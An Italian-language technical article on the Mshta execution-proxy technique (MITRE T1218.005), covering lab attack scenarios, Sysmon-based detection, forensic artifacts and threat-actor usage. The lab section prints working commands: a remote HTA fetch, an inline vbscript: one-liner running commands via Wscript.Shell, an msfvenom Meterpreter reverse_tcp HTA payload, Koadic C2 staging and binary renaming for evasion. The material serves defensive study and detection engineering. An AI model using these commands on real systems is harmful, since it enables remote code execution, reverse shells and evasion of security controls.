Esecuzione tramite Mshta: Mshta (T1218.005)

L'obiettivo in laboratorio è dimostrare come un binario firmato Microsoft possa essere trasformato in un proxy di esecuzione arbitraria, bypassando policy di application control mal configurate. L'esercizio si articola in tre scenari crescenti di complessità.

Scenario 1 — Esecuzione diretta di HTA remoto. Il caso più semplice: mshta.exe scarica ed esegue un file .hta da un web server controllato dall'attaccante. In laboratorio, prepara un file .hta con un payload benigno (ad esempio un calc.exe) e servilo con un semplice HTTP server Python. Il comando da lanciare sulla macchina target è:

mshta /payload.hta

Il file .hta può contenere VBScript che istanzia un oggetto Wscript.Shell ed esegue comandi arbitrari. Questo scenario replica il comportamento documentato per gruppi come Lazarus Group, Sidewinder e TA551.

Scenario 2 — Inline VBScript senza file su disco. Qui il payload non tocca mai il filesystem come file .hta, rendendo il rilevamento basato su file hash inefficace. La sintassi classica prevede l'uso del protocollo vbscript: direttamente dalla command line:

mshta vbscript:Execute("CreateObject(""Wscript.Shell"").Run ""calc.exe"", 0:close")

Questo approccio è stato ampiamente documentato in campagne reali e rappresenta una variante particolarmente insidiosa perché non genera artefatti .hta su disco.

Scenario 3 — Chain con Koadic C2. Lo strumento Koadic (open source) è un framework C2 basato su Windows Script Host che utilizza nativamente mshta.exe come stager. Dopo aver configurato un listener nel framework, il comando generato da Koadic produce uno stager mshta che, una volta eseguito sulla vittima, stabilisce una sessione C2 completa. Questo replica il pattern usato da LazyScripter.

Scenario 4 — Evasione tramite rename. APT38 ha utilizzato una copia rinominata di mshta.exe per evadere regole di detection basate sul nome processo. In lab, copia il binario in un percorso alternativo con nome diverso e verifica se le policy di application control lo bloccano comunque — se non lo fanno, hai trovato un gap.

Per la generazione di payload HTA in contesto red team, Metasploit Framework (open source) offre il modulo exploit/windows/misc/hta_server che automatizza la creazione di file .hta con payload Meterpreter. L'alternativa è utilizzare il tool msfvenom per generare payload HTA standalone:

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=4444 -f hta-psp -o payload.hta

Verifica sempre che il laboratorio sia isolato e che il payload non possa raggiungere reti di produzione.

La detection di mshta.exe malevolo ruota attorno a tre pilastri: analisi della command line, correlazione del parent process e monitoraggio delle connessioni di rete generate dal processo. Il vantaggio per il difensore è che l'uso legittimo di mshta.exe è estremamente raro negli ambienti enterprise moderni, il che riduce drasticamente il problema dei falsi positivi.

Log source primari. Sysmon (open source, distribuito da Microsoft Sysinternals) è il punto di partenza imprescindibile. L'EventCode 1 (Process Creation) cattura la command line completa di mshta.exe, mentre l'EventCode 3 (Network Connection) rivela connessioni verso URL esterni. Il log nativo Windows Security con EventCode 4688 (Process Creation) è un'alternativa se la command line audit è abilitata tramite GPO. Per la componente network, l'EventCode 22 di Sysmon (DNS Query) intercetta le risoluzioni DNS effettuate da mshta.exe prima del download del payload.

La regola di detection principale si basa su regex applicate agli argomenti di mshta.exe. I pattern da intercettare includono riferimenti a protocolli http/https, stringhe vbscript:, javascript:, e percorsi verso file .hta in directory non standard come %TEMP%, %APPDATA% o cartelle utente. Un buon punto di partenza per il tuning è la whitelist delle sorgenti HTA legittime — se l'organizzazione utilizza applicazioni HTA interne (ancora sorprendentemente comuni in ambito legacy), quei percorsi vanno esclusi dopo validazione.

Il secondo livello di detection riguarda il parent process. Quando mshta.exe viene generato da winword.exe, excel.exe, outlook.exe o da interpreti di script come cmd.exe e powershell.exe, la probabilità di attività malevola sale significativamente. Questo pattern è coerente con le catene di infezione documentate, dove un documento Office iniziale lancia mshta.exe come fase successiva.

La correlazione temporale è il terzo pilastro. Un alert ad alta fedeltà combina l'esecuzione di mshta.exe con la creazione di nuovi processi figlio entro una finestra di 30-60 secondi: se mshta.exe genera powershell.exe, cmd.exe, rundll32.exe o processi da directory temporanee, il segnale è forte.

Come controllo preventivo, Windows Defender Application Control (WDAC, incluso in Windows 10/11 Enterprise) e AppLocker (incluso in Windows Enterprise) consentono di bloccare l'esecuzione di mshta.exe tramite policy. Se l'organizzazione non ha necessità documentate di file HTA, il blocco diretto è la mitigazione più efficace e con zero falsi positivi. In alternativa, la rimozione o disabilitazione del binario è percorribile dato che la sua funzionalità è legata a tecnologie Internet Explorer ormai in end-of-life.

L'analisi forense di un'intrusione basata su mshta.exe richiede la ricostruzione della catena completa: dal vettore iniziale (tipicamente un documento o un link), attraverso l'esecuzione del payload HTA, fino alle azioni post-compromise. Gli artefatti sono abbondanti perché mshta.exe, nonostante la sua semplicità, lascia tracce su più livelli del sistema operativo.

Artefatti di esecuzione. Il primo elemento da cercare è la Prefetch del binario. Il file MSHTA.EXE-*.pf in C:\Windows\Prefetch contiene timestamp di ultima esecuzione, conteggio esecuzioni e, soprattutto, la lista dei file referenziati durante il caricamento — inclusi eventuali file .hta, script o DLL scaricate. Su sistemi con Prefetch abilitato (default su client Windows, disabilitato su Server), questo artefatto da solo può confermare l'esecuzione e fornire un timestamp preciso.

I log Sysmon rappresentano la fonte più ricca. L'EventCode 1 fornisce la command line completa, il parent process (cruciale per risalire al vettore iniziale), e gli hash del binario — quest'ultimo dato è importante per individuare casi come quello documentato per APT38, dove mshta.exe veniva rinominato. L'EventCode 3 documenta le connessioni di rete, permettendo di identificare il server da cui il payload è stato scaricato. L'EventCode 11 (File Created) rileva file .hta o script scritti su disco prima dell'esecuzione.

La cache di Internet Explorer merita attenzione specifica. Poiché mshta.exe utilizza il motore di IE, i contenuti scaricati possono finire nella cartella INetCache del profilo utente. File .hta, script e risorse referenziate dall'applicazione HTA vengono potenzialmente memorizzati qui con relativi timestamp e URL di origine. Strumenti come NirSoft IECacheView (gratuito) o il parser del formato ESE database per WebCacheV01.dat incluso in tools come KAPE (freemium) di Eric Zimmerman consentono l'estrazione e l'analisi di questi artefatti.

Per la ricostruzione della timeline, il flusso tipico segue questo schema:

1. T₀: Apertura documento o click su link (artefatto: log Office, Zone.Identifier ADS, log proxy)
2. T₁: Spawn di mshta.exe dal processo padre (artefatto: Sysmon EventCode 1, Prefetch, Amcache)
3. T₂: Download del payload da URL remoto (artefatto: Sysmon EventCode 3/22, INetCache, log proxy/firewall)
4. T₃: Esecuzione del codice VBScript/JScript contenuto nell'HTA (artefatto: AMSI log se abilitato, ScriptBlock logging per eventuale handoff a PowerShell)
5. T₄: Creazione di processi figli o scrittura di file persistenti (artefatto: Sysmon EventCode 1/11, MFT, USN Journal)

Il registro Amcache.hve e le chiavi ShimCache nel registry SYSTEM confermano l'esecuzione del binario e, nel caso di copie rinominate, ne preservano il percorso originale. Incrociando il timestamp Amcache con gli eventi Sysmon e il Prefetch si ottiene una triangolazione solida per la timeline.

L'adozione di mshta.exe come proxy di esecuzione attraversa trasversalmente quasi ogni cluster di minaccia: gruppi APT statali, operazioni cybercriminali finanziarie e campagne ransomware. Questa universalità rende la tecnica un ottimo punto di partenza per l'analisi comparativa dei TTP e l'identificazione di sovrapposizioni operative.

Lazarus Group (G0032), attribuito alla Corea del Nord, utilizza mshta.exe per eseguire pagine HTML scaricate da documenti di accesso iniziale. Questo pattern — documento esca → download → mshta.exe — è una firma operativa ricorrente del gruppo. La sovrapposizione con APT38 (G0082), anch'esso nordcoreano ma focalizzato su obiettivi finanziari, è significativa: APT38 si distingue però per l'uso di una copia rinominata di mshta.exe, un accorgimento anti-detection che rivela un livello di consapevolezza difensiva superiore. Kimsuky (G0094), terzo attore nordcoreano nel dataset, completa un quadro in cui l'ecosistema cyber di Pyongyang ha standardizzato mshta.exe come componente infrastrutturale.

Sul fronte sud-asiatico, Sidewinder (G0121), Confucius (G0142) e SideCopy (G1008) condividono l'uso di mshta.exe in un contesto di rivalità regionale India-Pakistan. L'overlap nei TTP tra questi gruppi è oggetto di dibattito nella comunità di intelligence: SideCopy in particolare è noto per replicare deliberatamente le procedure di Sidewinder, rendendo l'attribuzione particolarmente complessa.

MuddyWater (G0069), legato all'Iran, integra mshta.exe nella catena di distribuzione del malware POWERSTATS (S0223), usandolo sia per l'esecuzione diretta del payload sia come trampolino per one-liner PowerShell. APT32 (G0050), operante nel sud-est asiatico, e Gamaredon Group (G0047), focalizzato sull'Ucraina con il malware Pteranodon (S0147), rappresentano ulteriori cluster geografici distinti che convergono sulla stessa tecnica.

Dal lato cybercriminale, FIN7 (G0046) utilizza mshta.exe per eseguire VBScript nelle sue operazioni di compromissione finanziaria, mentre TA551 (G0127) e TA2541 (G1018) ne fanno uso rispettivamente in campagne di distribuzione malware a largo spettro e in attacchi mirati al settore aviazione. La campagna Operation Dust Storm (C0016) documenta l'uso di mshta.exe per esecuzione JavaScript in un'operazione di spionaggio pluriennale contro infrastrutture critiche giapponesi e coreane. La campagna C0015 mostra l'adozione in un'intrusione ransomware basata su Conti, confermando che la tecnica non è esclusiva dello spionaggio.

L'ecosistema software è altrettanto variegato: da framework C2 come Koadic (S0250) e Covenant (S1155) a malware commodity come Lumma Stealer (S1213) e Revenge RAT (S0379), passando per tool specializzati come BabyShark (S0414) e Metamorfo (S0455). Questa dispersione tra tool e attori suggerisce che mshta.exe resterà un vettore rilevante finché i sistemi Windows manterranno il binario nel percorso di default — e la mitigazione più efficace resta il blocco preventivo tramite application control.

Framework MITRE ATT&CK v16 — T1218.005 (Mshta), TA0005 (Defense Evasion). Campagne: C0016 (Operation Dust Storm), C0015. Mitigazioni: M1038 (Execution Prevention), M1042 (Disable or Remove Feature or Program). Detection: DET0506, AN1397. Tool di detection: Sysmon, WDAC, AppLocker, KAPE. Integrato con conoscenza professionale per tool e procedure operative.